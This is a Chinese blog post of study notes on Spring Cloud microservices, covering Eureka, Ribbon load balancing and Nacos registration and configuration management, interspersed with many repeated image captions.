分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>

这篇具有很好参考价值的文章主要介绍了分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

一、微服务 介绍了解

分布式架构的一种
把服务进行 拆分
springcloud 解决了 服务拆分过程中的 治理问题
与单体应用 进行区分
(单体架构 把业务所有功能集中开发,打成一个包部署)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

每个模块独立开发和部署(服务集群)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

服务之间互相调用
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
出现分布式技术
Webservice
ESB
Hession
Dubbo

异步通信 消息队列(秒杀)
敏捷开发思想
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
高内聚低耦合

微服务 + 持续集成
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

1 架构结构案例

微服务方案 技术框架落地
eg springcloud + 阿里dubbo

2012 dubbo 开源 (“半吊子”微服务)

2015-2017 springcloud(整合)
封装了Feign客户端 发http 请求 Restful接口
Spring Cloud Bus 自动通知 热更新

实现了同样的 接口规范
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
springcloud 模块

  • 统一配置管理
  • 服务注册发现
  • 请求路由
  • 服务远程调用
  • 负载均衡
  • 断路
    分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
    分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
    基于 springboot 自动装配

与 springboot 兼容关系

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
Hoxton SR10 + boot2.3.x

拆分案例

拆分

功能模块进行拆分
单一职责
即 不同微服务 不重复开发相同业务
数据独立
不要访问其他微服务数据库
业务接口
每个模块将自己的业务暴露为接口,供其他服务调用
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
且没法关联查询
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
将工程文件夹放到 IDE 的 工作空间
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
可以看到项目所有的微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

项目结构
父工程(主要定义了依赖版本)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
数据分离
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
业务逻辑
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
返回订单对象
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
符合 微服务 拆分 的单一职责
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

服务拆分-服务远程调用

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
spring的 HTTP 请求工具
用Bean的方式 把RestTemplate 注册 为spring容器 的 对象
就可以在任何地方 以 注入的方式 来用
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
Bean的注入 只能放在 配置类里面
带有 main的 启动类 本身也是配置类

在这创建 RestTemplate对象
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
跟入 orderservice 分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
先把 resttemplate注入进spring 容器里来
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
http请求 返回 json 但在这里需要一个user对象
resttemplate 会 给让你输入一个 返回对象
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

2 eureka注册中心

Eureka-提供者与消费者

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
概念 是 业务中谁对谁而言
既可以是 提供 也可以是 消费者
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Eureka-eureka原理分析

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
ip 端口 是 硬编码在 代码中的
不方便 环境部署
集群 不好布置
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

注册中心 (记录管理微服务)
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Eureka-搭建eureka服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
starter -----spring boot里面的 自动装配
注解是 eureka server 自动装配的 开关

创建 maven模块
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
父工程pom 已经把 版本依赖做好了
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
所有组件版本信息 点进去看
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
加个 springboot注解
psvm

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
加上 eureka 自动装配的 开关注解(启动类 上 做注解)

新建 配置文件

eureka 集群 所以 自己也将自己的 微服务 注册
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
注册到eureka 的 实例

windows 显示的 是 计算机名 本来是 ip
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Eureka-服务注册

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
编辑eureka地址信息
yml文件 不许 出现两个 根名称
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
启动两个实例
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
-D 参数
yml 文件 内的 server.port
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
实例列表
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Eureka-服务发现

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
查看 order services 是 负载均衡 走的 哪个
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

3 Ribbon组件 负载均衡

Ribbon-负载均衡原理

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
LoadBalancer 标记 拦截 实现 http 请求 接口
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
接口定义的 方法名字 intercept
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
同样实现了intercept 方法
下断点
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
取得主机名
去 做 服务拉取

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
Ribbon load balamcer对象
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
步入 这个 execute 方法
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
把这个 service id 交给 getloadBanlancer处理
得到 loadbalancer 对象

动态服务列表 负载均衡器
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
在这个对象里面
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
就拉取到了 服务列表

整个步骤 根据 服务名称 拉取 服务列表
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
getserver 开始负载均衡
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
进入 getserver 方法
选择 server 步入
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
找一个 super 父亲的 选择

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
走到了 rule 的 选择

要有一个 规则 从 动态 server 里 选
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
这个 IRule 是一个 接口I
规则接口 那就会有实现类

IDEA Ctrl H 查看实现类
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
比如
轮询负载均衡
随机

默认规则 ZoneAvoidance
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
返回来了 选择的 8081
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Ribbon-负载均衡策略

IRule 接口 继承关系 图

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
ZoneAvoidance 这个 它爷爷 也是 轮询

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
在 服务 注册 时 可以 设置 zone的 值
(杭州,上海)

配置类内 修改 规则 用 Irule 的 bean 作为 一个 对象 注入到 spring 容器

可以 实现 Irule 各种类型
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
全局的

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
针对 某个 微服务的 配置
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Ribbon-饥饿加载

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
创建 load balance Client 还要做 服务拉取
时间较长

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
拉取 时 创建了 动态 serverlist load balancer 等 耗费时间 - 懒加载
第二次 server list 会 缓存到内存中
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
与 spring boot 一样

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
随着 tomcat 启动 就完成了

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

springmvc 容器 的 初始化
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

4 nacos 阿里注册中心

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
服务注册 与发现
分布式 配置
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

8848 默认端口

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

-m 模式 单启动
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos-快速入门

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
通用 在这里 定义了 接口规范

定义了服务发现 与 服务注册
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
Eureka 和 nacos 都要遵循 这些接口

所以 服务者 消费者 代码 不用变
需要 更改 依赖 和 地址

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

添加 父管理依赖
添加 服务注册 启动器依赖

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

添加yml 地址
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos-服务多级存储模型

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos-NacosRule负载均衡

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
nacos 地区 随机 选择 服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
如果 本地 没有 服务 访问 外地 同服务 同时 警告
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos-服务实例的权重设置

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
调整成0 时 权重 , 不会被 访问

平滑升级业务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos-环境隔离

注册中心 - 数据中心 对 服务 进行 隔离
命名空间 - group 属性
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

服务(集群)–下一级–》 实例

对实例的划分 是 对业务 进行的 划分 (地域)

命名空间 是 对于 开发生产 测试 环境 的划分
(比如 把 业务相似度 比较高的 服务 放在 一个 分组)
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

订单—支付 放一块
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
默认 public
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
添加 命名 空间的 ID
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos和Eureka的对比

会在 动态服务 loadbalancer 里拉取 缓存 server 列表 周期30s
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

区别 在于 提供者的 健康检测
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

划分 提供者 为 临时 实例
和非临时实例
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
临时 实例 会 直接剔除
非临时实例 会 等待 康复
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
如果 提供者 挂掉了 nacos 主动 推送 变更 消息

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
非临时实例 不会被 剔除掉 等待 复活

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
nacos 强调 AP 数据的 可用性
CP 强调 可靠性 和 一致性
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
Nacos 配置管理 功能

Feign 声明式远程调用 比较 Resttemplate

Nacos实现配置管理

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
配置文件 - 关联服务重启 - (热更新 不用重启 就能 配置 生效)

配置管理服务 记录核心配置
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

读取配置 结合 本地配置

DataID 服务名称+ profile运行环境名 dev/test/prod.yaml

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

模版 类型
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos配置管理-微服务配置拉取

 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e2f375f857d245388e8770ec78de4f03.png)

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
去掉重复配置

用 Value 注解 读取配置

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos配置管理-配置热更新

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
属性刷新
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

配置 自动加载 注解
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
定义一个 成员变量
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
添加 data注解 getset 方法

用 component 把这个类变成 spring 容器的 一个 bean
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
注入进来 用getdateformat 获取
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos配置管理-多环境配置共享

开发生产测试 环境 配置值 一致
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
另起一个 spring 测试 微服务 环境
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
配置文件 的 优先级
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

以 userservice 为准

共享 与 有环境的 以 环境为准
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

Nacos配置管理-nacos集群搭建

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

nginx 有 反向代理 和 负载均衡 的 功能

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务

分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>,spring cloud,分布式,微服务
粘贴到 http 的 内部
